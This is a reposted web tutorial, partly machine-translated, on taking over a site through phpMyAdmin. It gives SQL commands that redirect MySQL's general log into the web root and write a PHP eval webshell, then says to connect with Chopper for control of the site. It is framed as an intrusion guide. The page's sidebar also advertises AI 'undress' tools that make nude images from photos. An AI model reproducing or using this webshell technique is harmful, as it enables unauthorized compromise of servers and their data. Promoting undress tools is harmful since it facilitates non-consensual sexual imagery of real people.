search
HomeDatabasephpMyAdminAbout phpmyadmin new posture getshell

About phpmyadmin new posture getshell

Dec 29, 2020 pm 05:08 PM
phpmyadmin

The following column phpmyadmin usage tutorial will introduce you to phpmyadmin’s new posture getshell. I hope it will be helpful to friends in need!

About phpmyadmin new posture getshell

Baidu Encyclopedia: phpMyAdmin is a MySQL based on PHP and structured in Web-Base mode on the website host A database management tool that allows administrators to manage MySQL databases using a web interface. This web interface can be a better way to input complex SQL syntax in a simple way, especially when it comes to importing and exporting large amounts of data. One of the greater advantages is that phpMyAdmin is executed on the web server like other PHP programs, but you can use the HTML pages generated by these programs anywhere, that is, to remotely manage the MySQL database, and easily create, modify, and delete Databases and data tables. You can also use phpMyAdmin to create commonly used PHP syntax to facilitate the correctness of SQL syntax required when writing web pages.

In layman's terms, its function is to conveniently operate the database on the web page.

When we get the phpmyadmin page of a site, the next thing to do is getshell.

You can escalate privileges by writing a shell, and we need to meet the following conditions:

1. Database root permissions

2. Know the physical path of the website

3. The database has write permissions

Write into the shell through select '' INTO OUTFILE 'Website physical path'

This article mainly talks about the successful getshell when condition 3 is not met.

Utilization conditions: MySQL 5.0

The version of MySQL 5.0 will automatically create a log file, so the same is true for modifying global variables while the service is running. The file location can be changed, but you must have read and write permissions on the directory where the log is generated.

(It may be more demanding in the Linux environment, because the site directory is one user and MySQL is another user. Permission control is stricter, mainly depending on whether the permissions are properly configured)

First we test whether the site has write permission

Execute the sql statement       SHOW VARIABLES LIKE 'secure_file_priv'

# SQL statement SHOW VARIABLES LIKE 'secure_file_priv' performs a query to find secure_file_priv

secure-file-priv feature

The secure-file-priv parameter is used to limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() Which specified directory to transfer to.

  • When the value of secure_file_priv is null, it means that mysql is restricted and import|export is not allowed

  • When the value of secure_file_priv is /tmp/, it means that the restriction is not allowed The import|export of mysql can only occur in the /tmp/ directory

  • When the value of secure_file_priv has no specific value, it means that there are no restrictions on the import|export of mysql

You can set its properties in the mysql-ini file

After testing, we do not have write permission

Then introduce two MySQL global variables (

general_log, general_log file)

    ##general log refers to the log storage status, There are two values ​​(ON/OFF). ON means on, OFF means off.
  1. general log file refers to the path where the log is saved.
  2. We can write a sentence Trojan into the mysql log and then move the mysql log path to the website directory to implement getshell

Execute the sql statement SHOW VARIABLES LIKE 'general_log% ' Perform fuzzy query

The log is closed by default

We execute the sql statement

set global general_log = "ON";     #开启日志
SET global general_log_file='网站下物理路径';  #更换日志路径

Successfully created

 然后执行特殊的查询语句

select  &#39;<?php eval($_POST[aaa]);?>&#39;

我们进入112233.php进行验证,成功写入shell

 最后进行菜刀连接,获得站点webshell

 

The above is the detailed content of About phpmyadmin new posture getshell. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:csdn. If there is any infringement, please contact admin@php.cn delete
phpMyAdmin: Managing Tables, Databases, and UsersphpMyAdmin: Managing Tables, Databases, and UsersApr 26, 2025 am 12:01 AM

phpMyAdmin can be used to manage tables, databases, and users. 1) Create a table: Create a table named users through the interface, including id, username and email fields. 2) Export database: Export the structure and data of my_database and its users table. 3) Manage users: Create a new user and grant them all permissions to my_database.

Using phpMyAdmin: A Guide for Database AdministratorsUsing phpMyAdmin: A Guide for Database AdministratorsApr 25, 2025 am 12:12 AM

phpMyAdmin is a web-based MySQL database management tool that provides an intuitive interface to manage databases. 1. It allows creating, modifying, deleting databases and tables, executing SQL queries, importing and exporting data, performing user management and permission settings. 2. By establishing a connection with the MySQL server, phpMyAdmin converts user requests into SQL commands and executes them. 3. The basic usage includes viewing table data, and the advanced usage supports complex SQL queries. 4. Common errors such as connection failure and query syntax errors can be debugged by checking the server status and using the SQL editor. 5. Performance optimization can be achieved by creating indexes for common fields, regularly backing up the database, and keeping the structure neat.

Understanding the Relationship: MySQL and phpMyAdminUnderstanding the Relationship: MySQL and phpMyAdminApr 24, 2025 am 12:05 AM

The relationship between MySQL and phpMyAdmin is that MySQL stores data, and phpMyAdmin manages this data through the HTTP protocol. 1.MySQL is an open source relational database management system that supports a variety of operating systems and project requirements. 2.phpMyAdmin is a web-based tool that provides an intuitive interface to manage MySQL databases, and supports SQL queries and data import and export. 3.phpMyAdmin communicates with the MySQL server by generating SQL queries, and users can operate the database through the interface. 4. Use phpMyAdmin to create databases and tables, execute queries, import and export data, and support advanced features such as optimized queries and management permissions.

phpMyAdmin and MySQL: The Perfect CombinationphpMyAdmin and MySQL: The Perfect CombinationApr 23, 2025 am 12:04 AM

phpMyAdminandMySQLtogetherenhancedatabasemanagementbyprovidingeaseandefficiency.1)phpMyAdminoffersauser-friendlyinterfaceformanagingMySQLdatabases,2)itallowsforeasyexecutionofSQLqueries,import/exportofdatabases,andmanagementofuserpermissions,3)itaids

MySQL and phpMyAdmin: Core Features and FunctionsMySQL and phpMyAdmin: Core Features and FunctionsApr 22, 2025 am 12:12 AM

MySQL and phpMyAdmin are powerful database management tools. 1) MySQL is used to create databases and tables, and to execute DML and SQL queries. 2) phpMyAdmin provides an intuitive interface for database management, table structure management, data operations and user permission management.

phpMyAdmin: Generating and Executing SQL QueriesphpMyAdmin: Generating and Executing SQL QueriesApr 21, 2025 am 12:03 AM

The methods of generating and executing SQL queries in phpMyAdmin include: 1. Enter the query in the SQL tab and click to execute; 2. Use JOIN to merge table data; 3. Use index and LIMIT when optimizing queries. phpMyAdmin simplifies database management through an intuitive interface, supporting SQL query operations from basic to advanced.

MySQL and phpMyAdmin: How They Work TogetherMySQL and phpMyAdmin: How They Work TogetherApr 20, 2025 am 12:05 AM

We need to combine database management with a user-friendly interface because this can improve efficiency and convenience. 1) MySQL handles complex data storage and queries, 2) phpMyAdmin provides intuitive web interface to simplify management, 3) The two collaborate to implement data operations through SQL commands, and 4) phpMyAdmin displays the results in a user-friendly way.

phpMyAdmin and SQL: Exploring the ConnectionphpMyAdmin and SQL: Exploring the ConnectionApr 19, 2025 am 12:05 AM

phpMyAdmin manages MySQL databases by generating and executing SQL statements. 1. The user operates through the web interface, 2.phpMyAdmin generates SQL statements, 3. Sends to the MySQL server for execution, 4. Returns the result and displays it in the browser.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

Atom editor mac version download

Atom editor mac version download

The most popular open source editor

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),